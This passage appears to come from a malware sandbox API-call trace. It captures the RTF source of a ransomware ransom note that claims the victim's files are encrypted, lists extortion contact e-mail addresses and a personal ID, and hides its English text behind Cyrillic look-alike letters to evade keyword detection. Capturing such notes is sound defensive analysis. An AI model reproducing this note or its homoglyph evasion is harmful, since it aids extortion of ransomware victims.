t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 